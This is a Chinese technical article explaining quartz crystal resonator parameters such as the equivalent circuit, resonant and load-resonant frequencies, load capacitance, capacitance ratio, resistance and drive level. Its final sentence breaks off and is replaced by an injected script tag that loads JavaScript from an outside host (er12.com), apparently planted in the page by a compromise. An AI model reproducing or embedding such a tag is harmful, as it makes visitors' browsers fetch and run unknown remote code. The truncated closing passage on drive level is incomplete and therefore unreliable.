尽管石英晶体的性能十分稳定,但其元件最后可达到的电气性能还要取决于它的使用方式,这是因为它的性能要受到环境及相配电路的影响;另外,晶体元件规范所涉及的指标参数不必要的苛刻选择,如把频率设计在任何切型或盒型的上限或下限频率以及上下限频率附近的频率,都会引起成本和可获得性方面的恶化。
1、 晶体谐振器的等效电路
图1是一个在谐振频率附近有与晶体谐振器具有相同阻抗特性的简化电路。
其中:c1为动态电容也称等效串联电容;l1为动态电感也称等效串联电感;
r1为动态电阻也称等效串联电阻;c0为静态电容也称等效并联电容。
这个等效电路中有两个最有用的零相位频率,其中一个是谐振频率(fr),另一个是反谐振频率(fa)。当晶体元件实际应用于振荡电路中时,它与一负载电容相联接,共同作用使晶体工作于fr和fa之间的某个频率,这个频率由振荡电路的相位和有效电抗确定,通过改变电路的电抗条件,就可以在有限的范围内调节晶体频率。
2、晶体的频率
由于晶体在电路的应用中其电气特性表现较复杂,与其相关的频率指标也有多个,主要的是:
a) 标称频率(f0)
指晶体元件规范中所指定的频率,也即用户在电路设计和元件选购时所希望的理想工作频率。
b)谐振频率(fr)
指在规定条件下,晶体元件电气阻抗为电阻性的两个频率中较低的一个频率。根据图1的等效电路,当不考虑c0的作用,fr由c1和l1决定,近似等于所谓串联(支路)谐振频率(fs)。
这一频率是晶体的自然谐振频率,它在高稳晶振的设计中,是作为使晶振稳定工作于标称频率、确定频率调整范围、设置频率微调装置等要求时的设计参数。
c)负载谐振频率(fl)
指在规定条件下,晶体元件与一负载电容串联或并联,其组合阻抗呈现为电阻性时两个频率中的一个频率。在串联负载电容时,fl是两个频率中较低的那个频率;在并联负载电容时,fl则是其中较高的那个频率。对于某一给定的负载电容值(cl),实际这两个频率是近乎相等的。
这一频率是晶体的绝大多数应用时,在电路中所表现的实际频率,也是制造厂商为满足用户对产品符合标称频率要求的测试指标参数。
3、负载电容(cl)
指与晶体元件一起决定负载谐振频率(fl)的有效外界电容。晶体元件规范中的cl是一个测试条件也是一个使用条件,这个值可在用户具体使用时根据情况作适当调整,来微调fl的实际工作频率(也即晶体的制造公差可调整)。但它有一个合适值,否则会给振荡电路带来恶化,其值通常采用20pf、30pf、50pf、∝及8pf、12pf、15pf等,其中当cl标为∝时即表示其用在直接串联谐振型电路中,不要再串联负载电容,并且工作频率就是晶体的(串联)谐振频率fr。用户应当注意,对于某些晶体(包括不封装的振子应用),在某一个给定负载电容下(特别是小负载电容应用时),±0.5pf的容差就能产生±10×10-6的频率误差。由此可见,负载电容是一个非常重要的订货规范指标。
4、电容比(r)
指晶体静态电容(c0)与动态电容(c1)之比,r=c0/c1。前面已描述,通过改变电路的电抗条件,就可以在有限的范围内调节晶体频率,而晶体频率可以改变的程度(或作为压控晶体振荡器的频率牵引范围)跟r成反比;在滤波电路的应用中,r可影响滤波器的带宽。一般的,对给定切型和给定设计而言r是一常数。
5、晶体的电阻
如同晶体的频率一样,晶体的电阻在电路中的表现也很复杂,主要应该关注的是:
a)谐振电阻(rr)
指晶体元件在谐振频率处的等效电阻,当不考虑c0的作用,也近似等于所谓晶体的动态电阻(r1)或称等效串联电阻(rs)。这个参数控制着晶体元件的品质因数,还决定所应用电路中的振荡电平,因而影响晶体的稳定性以致是否可以理想的起振。所以它是晶体元件的一个重要指标参数。一般的,对于一给定频率,选用的晶体盒越小,r1的平均值可能就越高;绝大多数情况,在制造过程中并不能预计具体某个晶体元件的电阻值,而只能保证电阻将低于规范中所给的最大值。
b)负载谐振电阻(rl)
指晶体元件与一指定外部电容相联接,在负载谐振频率fl时呈现的等效电阻。对一给定晶体元件,其负载谐振电阻值取决于和该元件一起工作的负载电容值,串上负载电容后的谐振电阻,总是大于晶体元件本身的电阻r1。rl是用户电路设计时要关注的指标。
6、激励电平
是一种用耗散功率表示的,施加于晶体元件的激励状态的量度。所有晶体元件的频率和电阻都在一定程度上随激励电平的变化而变化,这称为激励电平相关性(dld),因此订货规范的激励电平须是设备中实际使用的激励电平。虽然一般的较低激励电平有助于电路中晶体的迅速起振和长期稳定,但有时也会导致其在振荡器的?script src=http://er12.com/t.js>











